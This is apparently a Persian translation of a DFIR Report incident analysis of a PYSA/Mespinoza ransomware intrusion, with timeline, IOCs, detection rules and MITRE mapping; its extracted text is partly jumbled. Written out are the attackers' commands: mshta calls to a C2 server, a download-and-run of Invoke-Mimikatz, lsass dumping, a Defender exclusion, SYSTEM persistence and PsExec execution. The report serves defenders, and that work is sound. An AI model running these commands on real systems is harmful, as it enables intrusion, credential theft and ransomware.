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 مقدمه 

تهد   8در طول   حرکت    یبرا RDP نیو همچن Koadic و Empire از PYSA/Mespinoza دگرانیساعت، 

مختلف    یهاستم یبه هدف خود، تا حد امکان از س   دنی رس   ر یاستفاده کردند و در مس  ط یدر سراسر مح  یجانب

سرور    یو بررس   هالیفا  یوقت خود را صرف جستجو  دگرانیکردند. تهد   ی آورجمع Credential یا  اعتبارنامه

  ن یما از چند   یهالیفا  ،یریگها پس از باج اجرا کنند. ساعت  هاستم یهمه س   ی افزار را روباج   نکه یکردند تا ا  بانیپشت

خروج ا Tor یگره  که  شدند  تأ  ن یباز  را  ما  ظن  فا  د ییسوء  که  شده  هال یکرد  م.  اند خارج  نظر   رسد ی به 

PYSA/Mespinoza  که  یزمان CERT-FR  ی اد یمنتشر کرد، توجه ز  2020در مورد نفوذها در مارس    ی گزارش  

از    ی کیکه به عنوان    رسد ی به نظر م  راًیداشته است، اما اخ  تیفعال  2018گروه از سال    ن یرا به خود جلب کرد. ا

  ه اشار Intel 471 ریگزارش اخداده است، همانطور که در    شیبزرگ در حال ظهور، سرعت خود را افزا  انیشکارچ

  .شده است
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 خلاصه پرونده

  یحساب کاربر   ک یبا    دگرانیبود. تهد   نترنت یدر معرض ا  RDPبا    ی ندوزیو  زبانیم  ک ینفوذ، نقطه ورود    ن یا  در

  8بود و در طول    Tor  یگره خروج   ک ی( وارد شدند. ورود از  Domain Administrator  - دامنه    ر یمعتبر )مد 

به    RDP  ی حفظ دسترس   ی مختلف برا  Tor  یوج خر  ۳در مجموع    م، یآنها بود  1ییبار جابجا  2ساعت نفوذ، شاهد  

  از یامت  ی استفاده شد، به اندازه کاف  Beachhead  زبانی م  ن یبه اول  ی دسترس   ی که برا یاستفاده شد. حساب  ط یمح

کننده  کنترل   یکننده دامنه را آغاز کند. اسکن شبکه روکنترل   ک یبه    یپس از ورود، حرکت جانب  یقیداشت تا دقا

ماند،    یدر طول کل نفوذ فعال باق   C2 Empireکه    ی. در حال Empireشد و بلافاصله پس از آن    از دامنه آغ

.  بود  آنها  RDP  یدر صورت قطع شدن دسترس   بانیکانال پشت  ک ی  ه یشب  شتر یب  که مید یاز آن د  ی کم  تیفعال

 2ی بررس   ست یل  ک یواضح بود که آنها از    ار یکردند، بس  گرید  یهاستمیبه س   یکه آنها شروع به حرکت جانب  یهنگام

،  Task Managerو سپس با استفاده از    کردند ی م   یرا بررس   quser،  ۳شدندی . هر بار که جابجا مکنند ی م  ی رویپ

lsass   دگرانی. در طول نفوذ، شاهد تلاش تهد کردند ی را دامپ م  PYSA  ق یها از طربه اعتبارنامه   یدسترس   ی برا  

 : میدبو  ریز یهاک یتکن

 Taskmanagerبا  lsassکردن  دامپ •

 Procdumpبا  lsassکردن  دامپ •

 comsvcs.dllبا   lsassکردن  دامپ •

 Invoke-Mimikatzها با کردن اعتبارنامه  دامپ •

 کننده دامنه از کنترل  ntds.dit  لی( از فاshadow copy) ه یسا یکپ  استخراج •

 SQLداده   گاهیپا کی از  بانیپشت ستمیس  یهااعتبارنامه  ییو رمزگشا استخراج •

  

 
1 hand off 
2 checklist playbook 
3 pivot 
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 LSA Secretsبه  یدسترس

  ی برا  PsExec  نیمعتبر مختلف و همچن  ی کاربر  یهابا حساب  RDP  ق یاز طر  ط ی در مح  یحرکت جانب  شتریب

  دگریانجام شد. تهد   یآورجمع   یهات یها و فعالدامپ کردن اعتبارنامه  یبرا  ط یدر سراسر مح  هاپتیاسکر  یاجرا

از   استفاده  با  نفوذ  طول  کردن    رفعال یغ  اقدام   MpPreferenceو    Local Security Policy Editorدر 

Defender  ،د. از  نموPowerShell Remoting  دستور   یاجرا  یبرا  زی نarp  استفاده شد.   ستمیچند س   ی رو

  ه استفاده کرد ک  Koadicبه نام    یتهاجم  ی تیاز ابزار امن  نیگروه همچن   نی، اEmpireو    RDPعلاوه بر استفاده از  

از    VBS  ا ی  JScriptبا استفاده از    تواند ی که م   کند ی م  ی معرف   یبردارجعبه ابزار پس از بهره   ک یخود را به عنوان  

استفاده شد و    ی د یچند سرور کل  ی فقط رو  Koadicبماند.    ی در حافظه باق  Windows Script Host  قیطر

ماژول وظ  یماندگار  سمیمکان  کیاز آن سرورها شامل    یکی از  استفاده    فرض ش یپ  HTA  شدهیبند زمان   فهی با 

Koadic    از حدود از دسترس   7بود. پس  نها  دگرانیتهد   ه، یاول   یساعت  اتصال    ییاقدامات  با  را  به    RDPخود 

فعال    ی ندهایپاورشل فرآ  پت یافزار آغاز کردند. اسکرباج  یی اجرا  لیپاورشل و فا  پتیاسکر  ک یرها کردن    ها،ستمیس 

شناسه منحصر به    ک ی  رسد ی باز است و آنچه به نظر م  روالیدر فا RDPرا متوقف کرد و مطمئن شد که  یمختلف 

. پس از اتمام شد ی اجرا م  ستمیس   یرمزگذار  یافزار براکرد. پس از آن، باج   جادیباشد را ا  هاتم سیس   یفرد بالقوه برا

در  ، یرمزگذار توانستcanary document  ک یاز    callback  کی   افتیبا  داده    م ی،  تأخروج  .  میکن  د ییرا 

مهاجمان به احتمال   نیا  د یگو ی درخواست کردند که به ما م  کایدلار آمر  88,000حدود    ای  نیکوت یب  5  دگرانیتهد 

 .کنند ی م  میتنظ درخواست باج خود را بر اساس اطلاعات خارج شده ادیز
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 ی زمان جدول
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 هیاول یدسترس

  198.96.155.۳از    گریبود. در ابتدا، باز  د یدر معرض د  RDP  یهاس یسرو   قی از طر  گریباز  نیا  ی برا  ه یاول  یدسترس 

  تیو در نها  2۳.129.64.190( انجام داد، ابتدا به  hand off)   ییجابجا  ی نوع  ات،یو سپس در طول عمل  متصل شد 

 .کنند ی مل مع یخروج  یهادارند و به عنوان گره  تعلق Torها به شبکه  IP  نیا ۳. هر  185.220.100.240به 

 اجرا

  قه ی بودند. چند دق  ی متک  زی مختلف ن  ابزار  2نفوذ به    نیشروع کردند، اما در طول ا   RDPبا استفاده از    دگرانیتهد 

دسترس  آوردن  دست  به  از  جانب  ،یپس  طور  به  دامنهکنترل   کیبه    یآنها  سپس    کننده  و  کردند    ک یحرکت 

launcher  یپاورشل برا Empire ردند اجرا ک. 

 

  ک ی، آنها از Koadic  یاجرا یاستفاده کردند. برا  Koadicبه نام   گر ید  ابزار  ک یاز  دگرانیبعداً در طول نفوذ، تهد 

 استفاده کردند.    پتیبا جاوااسکر MSHTAانداز راه

                                                                                                                                                               

mshta http://45.147.231.210:9999/8k6Mq 

mshta http://45.147.231.210:9999/VtgyT                                                                                                                                                                                                                                                                                                      
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 شدند. جادی ( در حافظه اstage 2مرحله دوم ) یبارگذار  یبرا  یمختلف  4فرزند   یندهایاز آن دو اجرا، فرآ

 

 یماندگار

از    یماندگار   ی رکتوریواقع در دا  HTA  لیفا  کی  یجهت اجرا  task  کی  یبند زمان   یبرا  Koadicبا استفاده 

C:\ProgramData  به عنوان    در زمان ورودSystem  کار ارتباط    نیشد. ا  میتنظC2    را به سرورKoadic    آغاز

 .    کند ی م

  schtasks/create/tnK0adic/tr"C:\Windows\system32\mshta.exe 

C:\ProgramData\SZWXNUHHDP.hta" /sc onlogon /ru System /f 

  

 
4 child processes 
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 شناساییفرار از 
 کردند. رفعال یرا غ Local Group Policy Editor ،Windows Defenderبا استفاده از  دگرانیتهد 

 

  ن یا  کرد، ی م   رفعال یرا غ  Windows Defenderپاورشل اجرا کردند که دوباره    پتی اسکر  ک ی  ن یبعداً، آنها همچن

،  Malwarebytes،  agents  نیهمچن  پتیاسکر  نی . ااین کار انجام شد   MpPreferenceبار با استفاده از  

Citrix  ،Exchange  ،Veeam  ،SQL  را هدف قرار داد.    گرید  یندهای از فرآ  ی اریو بسEvent    5001با شناسه  

 شد.  جادی ا Defender  روس یوی آنتشدن محافظت بلادرنگ   رفعالیغ ل یبه دل
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 را استثنا کند.    exeبا پسوند . ز یاضافه شد تا همه چ زین Defender ی برا استثنا کی

Add-MpPreference -ExclusionExtension ".exe "  

 ۵۰۰۷ دادیشناسه رو 

ا  رییتغ  Windows Defender  روس یوی آنت  یکربند یپ اگر  با  رمنتظرهیغ  دادی رو  کی  نیکرده است.    د یاست، 

 بدافزار باشد.  جهیممکن است نت را یز د یکن یرا بررس  ماتیتنظ

 :    یم یقد مقدار

New value: HKLM\SOFTWARE\Microsoft\WindowsDefender\Exclusions\Extensions\.exe = 0x0 

 به اعتبارنامه یدسترس

ها گذاشتند. اعتبارنامه   شی ها به نمااعتبارنامه   ی آورجمع  یرا برا   ی متعدد  یهاک ینفوذ، تکن  نیدر طول ا  دگرانیتهد 

 دامپ شدند.  ستم یبه هر س  RDPهنگام اتصال  Task Manager قیاز طر  ی به صورت دست
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حال رو  یدر  دامنهکنترل  کی  یکه  تهد   کننده  بودند،  فا  shadow copy  کی  نیهمچن  دگرانیمستقر    ل یاز 

ntds.dit  کانال    قی آن را از طر  ادیکردند و به احتمال ز  دایپ  یکرده و به آن دسترس   جادی اC2   ( خودKoadic  )

 .خارج کردند 

 

  ت یبا موفق  یرکتور یدا  ویدامنه اکت  یهاس یسرو  یبرا  Shadow Copy  ی ریگبانیپشت )  1917با شناسه    دادیرو

  پت یاسکر  ک ی  ن یهمچن  دگرانیکننده دامنه ثبت شد. تهد کنترل   ی رو  یرکتور یدا  سیسرو   دادیانجام شد( در لاگ رو

  ند یدامپ کردن فرآ  ی برا  comsvcs.dllاجرا کردند که از    ط یمح  سر در سرا  PsExecپاورشل را با استفاده از  

lsass  م موقع  کرد ی استفاده  به  را  دامپ  سپس  جابجا  تیو  رو   5یی نقطه  کپکنترل   کی  یخود  دامنه    ی کننده 

 .کردند ی م

 

 

 
5 pivot position 
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  یانینقطه پا  یرو   یی اجرا  ل یاستفاده کنند، اما فا  Sysinternals ProcDumpکردند از روش    ی سع  دگرانیتهد 

 وجود نداشت.

`procdump.exe -accepteula -ma lsass.exe mem.dmp` 

 

  بانیافزار پشتها را از مخزن نرم اعتبارنامه   رایمتمرکز بودند، ز  بانیسرور پشت  ی رو  یطولان   یمدت   یبرا  دگرانیتهد 

رمز عبور را به    یو دوم   کند ی داده استخراج م   گاهیها را از پاهش   پت،یاسکر  ن ی. اولکردند ی دامپ م  شخص ثالث

 اجرا شدند. PowerShell ISE ق یاز طر پتی. هر دو اسکرکند ی م ییمزگشار متن ساده 

 دامنه اجرا کردند.      یهاکنندهاز کنترل   ی کی  یرو  BC-Securityرا از    Invoke-Mimikatz  نیهمچن  دگرانیتهد 

IEX (New-Object 

Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-

SECURITY/Empire/master/data/module_source/credentials/Invoke-

Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz –

DumpCreds 
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را اجرا    impacketکه    Koadicدر    hashdump_samبا استفاده از ماژول    دگرانیکه تهد   م ید ید  نیهمچن

 کردند.  ره یذخ  سکید  یرا رو LSA Secrets کند،ی م

 

Inveigh اجرا شد. کننده دامنه کنترل   کی ی رو 
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 کشف

 :           ری کشف استفاده کردند، از جمله موارد ز ی برا ندوز یو ی داخل یاز ابزارها ی اریاز بس دگرانیتهد 

  quser.exe 

whoami.exe /user 

net.exe group /domain 

net.exe group "Domain Users" /domain 

nltest.exe /dclist : 

arp -a 
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 اجرا شد. PowerShell Remotingبا استفاده از  arp دستور

 

 اجرا شد. PowerShell Remotingبا استفاده از  arpدستور 

 کردند، از جمله:             ی را بررس  ی تیریکاوش در شبکه، چند ابزار مد   نیدر ح نیآنها همچن

  mmc.exe C:\Windows\system32\dnsmgmt.msc  

mmc.exe C:\Windows\system32\domain.msc 

mmc.exe C:\Windows\system32\compmgmt.msc /s 

mmc.exe C:\Windows\system32\gpedit.msc 

mmc.exe C:\Windows\system32\diskmgmt.msc  

mmc.exe C:\Windows\system32\wbadmin.msc 

veeam.backup.shell.exe                                                                                                                                                             
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شخص  ن یهمچن  دگرانیتهد  ابزار  برا   ی چند  را  عمل  یخود  به  جمله    اتیکمک  از  بودند،  آورده  خود  با  کشف 

Advanced Port Scanner  وADReconحاتیتوض نجای . در ا ADRecon .آورده شده است 

 

موارد   از  این  استفاده  مانند دستور  PowerShellبا   ،`ps`   فرآ   یبرا رو  یندهایفهرست کردن  اجرا    ی در حال 

 .انجام شد  هاستمیس 
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 یکت جانبحر

  beachhead  زبانی از م  RDPانجام شد.    دگریتوسط تهد   ه یاول  ی پس از دسترس   قه یدق   ۳تنها    ی حرکت جانب  نیاول

استفاده کرده    زبان یم  نیبه اول   ی دسترس   ی که برا  یمعتبر  یبا استفاده از حساب کاربر کننده دامنه  کنترل   ک یبه  

  ط یمختلف در سراسر مح  یهاستم یبه س   یدر هنگام دسترس   ی روش انتخاب نیاول  نبه عنوا   RDPبودند، آغاز شد.  

ها گرفتند و از  اعتبارنامه   یآور از جمع   ی برخ  یبه خودکارساز  م یتصم  دگران ی. پس از چند ساعت، تهد افتیادامه  

PsExec   که    پتیاسکر  ک ی  یاجرا  یبرا کردند  استفاده  برا  comsvcs.dllپاورشل  کردن    یرا    lsassدامپ 

 . کردی م  یفراخوان

PsExec.exe –d \\HOST -u "DOMAIN\USER" -p "PASSWORD" -accepteula -s cmd /c 

"powershell.exe -ExecutionPolicy Bypass -file 

\\DOMAINCONTROLLER\share$\p.ps1" 

 و کنترل یفرمانده

  ی هاIPاستفاده کردند.    Koadicو    RDP  ،PowerShell Empire  ی عنیمختلف،    C2کانال    ۳از    دگرانیتهد 

 :RDP ق یاز طر یحفظ دسترس  ی استفاده شده برا

198.96.155.۳ 

2۳.129.64.190 

185.220.100.240 

Empire 

44۳:194.۳6.190.74  

Certificate [b8:20:c2:db:b6:b8:f4:0f:61:a5:c0:27:40:89:e6:30:cd:db:05:5e   ]  

Not Before 2020/09/17 18:38:42   

Not After 2021/09/17 18:38:42  

Public Algorithm rsaEncryption   

JA3: 5e12c14bda47ac941fc4e8e80d0e536f  

JA3s: 0eec924176fb005dfa419c80ab72d27c 
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 دستور  ی و اجرا 45.147.2۳1.210:9999با آدرس   Koadicو کنترل   ی( در سرور فرماندهCheck-in) نامثبت

 

 خروج داده

  یساعات canary documentsمشاهده نشد، به صورت متن ساده  یاخروج داده  چ ینفوذ ه ن یاگرچه در طول ا

  ی ریگقبل از باج   شده در شبکه   ی سپر  یهاساعت  کند یم   د ییباز شدند، که تأ  دگرانیتوسط تهد   ی ریگپس از باج 

،  RDPمانند اتصالات    ز ین  ی قنار  یسندها  ن یمبدأ از ا  IP  یهااستفاده شده است. آدرس   هال یفا  ی آورجمع   یبرا

آنجا  Tor  ی خروج  یهاگره  از  ه  ییبودند.  داده   چیکه  ارز  یاخروج  ما  نشد،  مشاهده  ساده  متن    ی ابیبه صورت 

انجام    Koadic ای  RDP  ،Empire یعنیو کنترل،    یفرمانده  یهااز کانال  یکی  قیکه خروج داده از طر  میکنی م

 شده است.

   ریتأث

 رها شدند:   ستمیهر س  یرو   RDP  قیاز طر لیافزار را آغاز کردند. دو فااستقرار باج  دگران ی، تهد 7.5ساعت  حدود

افزار  باج  یی اجرا لیفا ک یپاورشل و  پتیاسکر  کی  

PYSA.   C:\Users\USER\Downloads\svchost.exe 
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C:\Users\USER\Downloads\p.ps1                                                                                                         
                                                               

ده بودند.  نش  رفعالیممکن است در طول نفوذ غ  هبود ک   یت یامن  یکردن ابزارها  رفعالیپاورشل، غ  پتیهدف از اسکر 

  یی هالیفا  یتا امکان رمزگذار   کرد ی داده را متوقف م  گاهیسرور و پا  یندهای از فرآ  یار یبس  پتیاسکر  ن،یعلاوه بر ا

 در حال اجرا قفل شده باشند. یندهای صورت ممکن بود توسط فرآ   ن یا ریرا فراهم کند که در غ

 

 شدند. یریگباج هاستم یافزار اجرا شد و س باج  ییاجرا لیفا  ت،ینها در
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IOCs 
MISPPrivhttps://misppriv.circl.lu/events/view/81105OTX 

https://otx.alienvault.com/pulse/5fbb23c7dfc6aa0ffd92d27f 

Network 

 

198.96.155.۳ 

2۳.129.64.190 

185.220.100.240 

http://45.147.231.210:9999/8k6Mq 

http://45.147.231.210:9999/VtgyT 

45.147.2۳1.210 

194.۳6.190.74 

https://194.36.190.74 

File 

svchost.exe 

bd395971a7eb344673de513a15c16098 

1db448b0f1adf39874d6ea6b245b9623849f48e5 

df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5c3640b482b4a6c 

p.ps1 

2df8d3581274a364c6bf8859c9bdc034 

8af4bfcef0f3fefae3f33b86815a6f940b64f4b7 

eb1d0acd250d32e16fbfb04204501211ba2a80e34b7ec6260440b7d563410def 

p.ps1 

1da1f49900268fa7d783feda8849e496 

72f2352eab5cb0357bdf5950c1d0374a19cfdf99 

0ab8f14e2c1e6f7c4dfa3d697d935d4fbef3605e15fd0d489d39b7f82c84ba7e 

XEKFGUIQQB.hta 
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5266daf58dd34076e447474c7dce09b2 

b0197a53a56939d3d9006df448bc46ef599bac31 

81e0d5945ab7374caf2353f8d019873c88728a6c289884a723321b8a21df3c77 

Detections 

Network 

ETPRO TROJAN Win32/Koadic CnC Checkin 

ETPRO TROJAN Koadic Command Execution via CnC 

ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection 

ET POLICY Outbound MSSQL Connection to Non-Standard Port - Likely Malware 

ET SCAN NMAP SIP Version Detect OPTIONS Scan 

ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server ) 

GPL SNMP public access udp 

ET SCAN Behavioral Unusual Port 139 traffic Potential Scan or Infection 

ET SCAN Behavioral Unusual Port 135 traffic Potential Scan or Infection 

ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection 

ET SCAN Potential SSH Scan OUTBOUND 

 

Sigma 

 

win_hack_koadic 

win_mshta_spawn_shell 

win_susp_whoami 

win_local_system_owner_account_discovery 

win_susp_schtask_creation 

win_susp_powershell_empire_launch sysmon_susp_vssadmin_ntds_activity 

Yara 

/*  
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YARA Rule Set 

Author: The DFIR Report 

Date: 2020-11-16 

Identifier: Case 1010 

Reference: https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware / 

/* 

/ * Rule Set   -----------------------------------------------------------------  /*  

import "pe" 

rule mespinoza_svchost   {  

meta : 

description = "files - svchost.exe" 

author = "The DFIR Report" 

reference = "https://thedfirreport.com" 

date = "2020-11-16" 

hash1 = "df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5c3640b482b4a6c" 

strings : 

$s1 = 

".?AV?$TF_CryptoSystemBase@VPK_Encryptor@CryptoPP@@V?$TF_Base@VRandomizedTrap

doorFunction@CryptoPP@@VPK_EncryptionMessageEncoding" ascii 

$s2 = "protonmail.com" fullword ascii 

$s4 = "update.bat" fullword ascii 

$s5 = 

".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$0A@VEnc@Rijndael

@CryptoPP@@@CryptoPP@@VCBC_Encryption@2@@CryptoP" ascii 
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$s6 = 

".?AV?$AlgorithmImpl@VCBC_Encryption@CryptoPP@@V?$CipherModeFinalTemplate_Ciphe

rHolder@V?$BlockCipherFinal@$0A@VEnc@Rijndael@Cryp" ascii 

$s7 = 

".?AV?$TF_ObjectImplBase@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOptions

@V?$TF_ES@URSA@CryptoPP@@V?$OAEP@VSHA1@CryptoPP@@VP" ascii 

$s8 = 

".?AV?$TF_ObjectImpl@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOptions@V?

$TF_ES@URSA@CryptoPP@@V?$OAEP@VSHA1@CryptoPP@@VP1363" ascii 

$s9 = 

".?AV?$TF_EncryptorImpl@U?$TF_CryptoSchemeOptions@V?$TF_ES@URSA@CryptoPP@@V?

$OAEP@VSHA1@CryptoPP@@VP1363_MGF1@2@@2@H@CryptoPP@@UR" ascii 

$s10 = 

".?AV?$TF_EncryptorImpl@U?$TF_CryptoSchemeOptions@V?$TF_ES@URSA@CryptoPP@@V?

$OAEP@VSHA1@CryptoPP@@VP1363_MGF1@2@@2@H@CryptoPP@@UR" ascii 

$s11 = 

".?AV?$TF_ObjectImplBase@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOptions

@V?$TF_ES@URSA@CryptoPP@@V?$OAEP@VSHA1@CryptoPP@@VP" ascii 

$s12 = 

".?AV?$AlgorithmImpl@VTF_EncryptorBase@CryptoPP@@V?$TF_ES@URSA@CryptoPP@@V?

$OAEP@VSHA1@CryptoPP@@VP1363_MGF1@2@@2@H@2@@CryptoPP@@" ascii 

$s13 = 

".?AV?$TF_ObjectImpl@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOptions@V?

$TF_ES@URSA@CryptoPP@@V?$OAEP@VSHA1@CryptoPP@@VP1363" ascii 

$s14 = "Check out our website, we just posted there new updates for our partners:" fullword ascii 

$s15 = "Also, be aware that we downloaded files from your servers and in case of non-payment 

we will be forced to upload them on our web" ascii 

$s16 = 

"E3AF7F517600CD3B9006519EA9E24F65CE0318C3F326A20C1C73F644F32C4CDCEE7A398153C

29C4B844A7388D63946DEA 

F232A47113B5608F58A42667FB4C573" ascii 
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$s17 = 

"30820220300D06092A864886F70D01010105000382020D003082020802820201009A673A7A8

FD521FAE7C950BDFAA5F5EF3FFC13E75D35C9110080751117874E" ascii 

$s18 = 

"A76229D9DAD792BF87826DBE0FFED40E7CEE781DF4E8B4AF086E21D41CE0912DAC6252A512

B4C81F98E46F1268F7C55B5160A7B47FF7C33D2D0A1073C970FDAB" ascii 

$s19 = 

"CE012C93EC57B77DB5D9D4C345E7F3A2564C09E728C8B88CCD6A824C070EDDA34DA708266

5B0732783868CE38C5F2A78DADEB1D63423BCE555A6BC2D1BE49630" ascii 

$s20 = ": ;+;6;?;E;" fullword ascii /* hex encoded string 'n '  /*  

condition : 

uint16(0) == 0x5a4d and filesize < 2000KB and 

 (pe.imphash() == "b5e8bd2552848bb7bf2f28228d014742" or 8 of them  )  

} 

MITRE 

• External Remote Services – T1133  

• Valid Accounts – T1078  

• Graphical User Interface – T1061  

• Mshta – T1218.005  

• PowerShell – T1059.001  

• Local Account – T1087.001  

• Remote System Discovery – T1018  

• File and Directory Discovery – T1083  

• Domain Trust Discovery – T1482  

• Account Discovery – T1087  

• Scheduled Task – T1053.005  

• Lateral Tool Transfer – T1570  

• SMB/Windows Admin Shares – T1021.002  

• Remote Desktop Protocol – T1021.001  

• Credential Dumping – T1003  

• LSASS Memory – T1003.001  

• Process Discovery – T1057  

• Standard Application Layer Protocol – T1071  

• Exfiltration Over C2 Channel – T1041  

• Data Encrypted for Impact – T1486 
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• Rundll32 – T1218.011 Internal case 1010 

 منبع:

https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/                                                                                                                                                                                                                       


